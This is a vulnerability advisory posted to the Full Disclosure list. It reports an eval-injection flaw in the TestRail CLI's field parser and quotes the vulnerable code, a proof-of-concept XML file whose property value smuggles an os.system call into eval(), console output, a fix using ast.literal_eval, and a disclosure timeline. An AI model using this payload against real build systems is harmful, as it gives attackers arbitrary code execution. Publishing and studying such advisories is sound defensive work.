Unsafe eval() in TestRail CLI
2024-11-7 11:17:47 Author: seclists.org(查看原文) 阅读量:3 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Devin Cook <devin.c.cook () gmail com>
Date: Tue, 5 Nov 2024 12:36:12 -0800

This is not a very exciting vulnerability, but I had already publicly disclosed
it on GitHub at the request of the vendor. Since that report has disappeared,
the link I had provided to MITRE was invalid, so here it is again.

-Devin

---

# Unsafe `eval()` in TestRail CLI FieldsParser

Date Reported: 2024-10-03
CVSSv3.1 Score: 7.3
CVSSv3.1 Vector: AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Severity: Medium
Vulnerability Class: Eval Injection

## Summary

While parsing test result XML files with the TestRail CLI, the presence of
certain TestRail-specific fields can cause untrusted data to flow into an
`eval()` statement, leading to arbitrary code execution. In order to exploit
this, an attacker would need to be able to cause the TestRail CLI to parse a
malicious XML file. Normally an attacker with this level of control would
already have other avenues of gaining code execution.

However, there could be cases where an attacker can inject a malicious test
result file but is otherwise unable to execute arbitrary code on the system
running the TestRail CLI, resulting in a Local Privilege Escalation or Remote
Code Execution issue. In the worst case, this could result in compromising a
build system.

## Description

The vulnerability stems from the `eval()` statement in the
`FieldsParser.resolve_fields()` method:

```py
def resolve_fields(fields: Union[List[str], Dict]) -> (Dict, str):
    error = None
    fields_dictionary = {}
    try:
        if isinstance(fields, list) or isinstance(fields, tuple):
            for field in fields:
                field, value = field.split(":", maxsplit=1)
                if value.startswith("["):
                    try:
                        value = eval(value)
                    except Exception:
                        pass
                fields_dictionary[field] = value
        elif isinstance(fields, dict):
            fields_dictionary = fields
        else:
            error = f"Invalid field type ({type(fields)}), supported
types are tuple/list/dictionary"
        return fields_dictionary, error
    except Exception as ex:
        return fields_dictionary, f"Error parsing fields: {ex}"
```

https://github.com/gurock/trcli/blob/066008477bd4b05e46bb723c09373e8111cb2dea/trcli/data_classes/data_parsers.py#L61

This method is called when parsing result or case fields in JUnit or Robot XML
files if there are any Properties that have names starting
with`testrail_result_field` or `testrail_case_field`. In both cases, the value
or text of that Property is passed more or less directly to `eval()`.

A specially crafted Property value can therefore be used to execute arbitrary
Python code.

### Examples

The following XML file will cause the TestRail CLI to spawn a shell and execute
our echo command:

```
<?xml version="1.0" encoding="UTF-8"?>
<testsuites time="15.682687">
    <testsuite name="Tests.Execution" time="6.666666">
        <testcase name="testCase0" classname="Tests.Registration" assertions="4"
            time="1.625275" file="tests/registration.code" line="302">
            <properties>
                <property name="testrail_case_field">
                    :[] or __import__('os').system('echo THIS IS
INSIDE THE EVAL STATEMENT')
                </property>
            </properties>
        </testcase>
    </testsuite>
</testsuites>
```

```
(trcli) devin@devin-laptop:~/code/trcli$ trcli -h http://127.0.0.1 -u
me -p no --project foo parse_junit -f ./pwn.xml --title bar
TestRail CLI v1.9.7
Copyright 2024 Gurock Software GmbH - www.gurock.com
Parser Results Execution Parameters
Report file: ./pwn.xml
Config file: None
TestRail instance: http://127.0.0.1 (user: me)
Project: foo
Run title: bar
Update run: No
Add to milestone: No
Auto-create entities: None
Parsing JUnit report.
THIS IS INSIDE THE EVAL STATEMENT
Processed 1 test cases in section Tests.Execution.
```

## Impact

An attacker able to inject a malicious JUnit or Robot test result XML file can
compromise the system running the TestRail CLI.

## References

* CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
  ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)

# Recommendations

Use `ast.literal_eval()` instead. While `literal_eval()` could still be abused
to cause a Denial of Service, it prevents the execution of arbitrary code.

# Timeline

2024-10-01: Issue Discovered
2024-10-02: Contacted the vendor according to the instructions on their
            [security page](https://www.testrail.com/about/security/)
2024-10-03: Report sent to vendor via ZenDesk ticket \#359983
2024-10-04: Vendor requests public disclosure in a GitHub Issue
2024-10-11: Published report as [public GitHub
            Issue](https://github.com/gurock/trcli/issues/279)
2024-10-30: Noticed that the vendor has deleted the [public GitHub
            Issue](https://github.com/gurock/trcli/issues/279) containing the
            bug report and some conversation about responsible disclosure and
            requesting a CVE. The vulnerability has not been fixed in the
            `main` branch.
2024-11-05: Full disclosure mailing list notified.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread:

  • Unsafe eval() in TestRail CLI Devin Cook (Nov 06)

文章来源: https://seclists.org/fulldisclosure/2024/Nov/2
如有侵权请联系:admin#unsafe.sh